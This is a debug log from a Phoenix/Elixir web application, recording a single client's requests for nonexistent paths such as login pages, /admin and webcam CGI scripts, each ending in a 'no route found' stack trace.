[Thu Sep  3 08:01:54.890000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53692] ** (Phoenix.Router.NoRouteError) no route found for GET /login1.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:55.576000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53702] GET /
[Thu Sep  3 08:01:55.576000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53702] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:01:55.577000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53702] Sent 200 in 890µs
[Thu Sep  3 08:01:56.578000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53702] GET /login.html
[Thu Sep  3 08:01:56.615000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53702] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:56.750000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53678] GET /admin/
[Thu Sep  3 08:01:56.772000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53678] ** (Phoenix.Router.NoRouteError) no route found for GET /admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:57.280000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53718] GET /
[Thu Sep  3 08:01:57.281000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53718] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:01:57.282000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53718] Sent 200 in 1ms
[Thu Sep  3 08:01:57.745000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53730] GET /cgi-bin/pdesk.cgi
[Thu Sep  3 08:01:57.774000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53730] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/pdesk.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:59.869000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53718] GET /eyespyfx_large.jsp
[Thu Sep  3 08:01:59.896000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53718] ** (Phoenix.Router.NoRouteError) no route found for GET /eyespyfx_large.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:00.786000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53732] GET /cgi-bin/guestimage.html
[Thu Sep  3 08:02:00.810000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53732] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/guestimage.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:01.524000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53748] GET /pda/
[Thu Sep  3 08:02:01.556000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53748] ** (Phoenix.Router.NoRouteError) no route found for GET /pda (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:02.372000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53764] GET /ivc2/Backup/IVC1/html/index.htm
[Thu Sep  3 08:02:02.524000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53764] ** (Phoenix.Router.NoRouteError) no route found for GET /ivc2/Backup/IVC1/html/index.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:02.729000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53768] GET //perl
[Thu Sep  3 08:02:02.801000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53768] ** (Phoenix.Router.NoRouteError) no route found for GET /perl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:03.548000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50836] GET /view/hsrindex.shtml
[Thu Sep  3 08:02:03.667000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50836] ** (Phoenix.Router.NoRouteError) no route found for GET /view/hsrindex.shtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:03.791000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50850] GET //perl.exe
[Thu Sep  3 08:02:03.883000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50850] ** (Phoenix.Router.NoRouteError) no route found for GET /perl.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:04.673000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50856] GET /Webcam/webcam.html
[Thu Sep  3 08:02:04.766000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50856] ** (Phoenix.Router.NoRouteError) no route found for GET /Webcam/webcam.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:05.428000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50860] GET /html/en/index.htm
[Thu Sep  3 08:02:05.504000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50860] ** (Phoenix.Router.NoRouteError) no route found for GET /html/en/index.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:05.643000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50874] GET /cgi-bin/camctrl.cgi
[Thu Sep  3 08:02:05.674000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50874] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/camctrl.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:06.528000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50896] GET /login
[Thu Sep  3 08:02:06.566000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50896] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:07.375000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50888] GET /cgi-bin/ctrldirect.cgi
[Thu Sep  3 08:02:07.400000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50888] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/ctrldirect.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
